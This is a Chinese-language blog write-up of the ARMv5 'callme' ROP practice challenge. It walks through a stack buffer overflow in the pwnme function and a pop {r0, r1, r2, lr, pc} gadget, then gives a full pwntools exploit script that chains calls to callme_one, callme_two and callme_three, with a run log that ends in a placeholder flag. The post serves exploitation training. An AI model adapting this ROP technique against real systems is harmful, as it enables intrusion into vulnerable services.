OneShell

I fight for a brighter tomorrow

0%

callme_armel

这个题目是为了考察armel下使用rop调用函数传参,需要依次传入指定参数调用callme_one、 callme_two、callme_three,如下:

  • callme_one(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
  • callme_two(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
  • callme_three(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)

存在缓冲区溢出漏洞的pwnme函数还是老样子:

1
2
3
4
5
6
7
8
9
10
int pwnme()
{
char s[36]; // [sp+0h] [bp-24h] BYREF

memset(s, 0, 0x20u);
puts("Hope you read the instructions...\n");
printf("> ");
read(0, s, 0x200u);
return puts("Thank you!");
}

利用

缓冲区起始地址在FP-0x24,函数返回地址保存在FP,因此填充0x24个字节后开始覆盖返回地址。
寻找gadgets:需要找到能够操控R0~R2的gadget,还需要从栈上POP数据,非常好运找到如下:

1
2
# ROPgadget --binary callme_armv5 | grep "pop"
0x00010870 : pop {r0, r1, r2, lr, pc}

ROP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
rop = b"A" * 0x24
rop += p32(0x00010870) # pop {r0, r1, r2, lr, pc}
rop += p32(0xDEADBEEF) # r0
rop += p32(0xCAFEBABE) # r1
rop += p32(0xD00DF00D) # r2
rop += p32(0x00010870)
rop += p32(addr_of_callmeone)

rop += p32(0xDEADBEEF) # r0
rop += p32(0xCAFEBABE) # r1
rop += p32(0xD00DF00D) # r2
rop += p32(0x00010870)
rop += p32(addr_of_callmetwo)

rop += p32(0xDEADBEEF) # r0
rop += p32(0xCAFEBABE) # r1
rop += p32(0xD00DF00D) # r2
rop += p32(0x00010870)
rop += p32(addr_of_callmethree)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

BINARY = "./callme_armv5"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "arm"
context.binary = BINARY

pop_r012_lr_pc = 0x00010870
callme_one = 0x00010618
callme_two = 0x0001066C
callme_three = 0x0001060C

p = remote("0.0.0.0", 8888)

rop = b"A" * 0x24
rop += p32(pop_r012_lr_pc) # pop {r0, r1, r2, lr, pc}
rop += p32(0xDEADBEEF) # r0
rop += p32(0xCAFEBABE) # r1
rop += p32(0xD00DF00D) # r2
rop += p32(pop_r012_lr_pc)
rop += p32(callme_one)

rop += p32(0xDEADBEEF) # r0
rop += p32(0xCAFEBABE) # r1
rop += p32(0xD00DF00D) # r2
rop += p32(pop_r012_lr_pc)
rop += p32(callme_two)

rop += p32(0xDEADBEEF) # r0
rop += p32(0xCAFEBABE) # r1
rop += p32(0xD00DF00D) # r2
rop += p32(pop_r012_lr_pc)
rop += p32(callme_three)

p.recvuntil(b"> ")
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
$ python3 callme.py 
[*] '/home/utest/rop_practice/armv5/callme_armv5/callme_armv5'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
RUNPATH: b'.'
[+] Opening connection to 0.0.0.0 on port 8888: Done
[*] Paused (press any to continue)
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 0.0.0.0 port 8888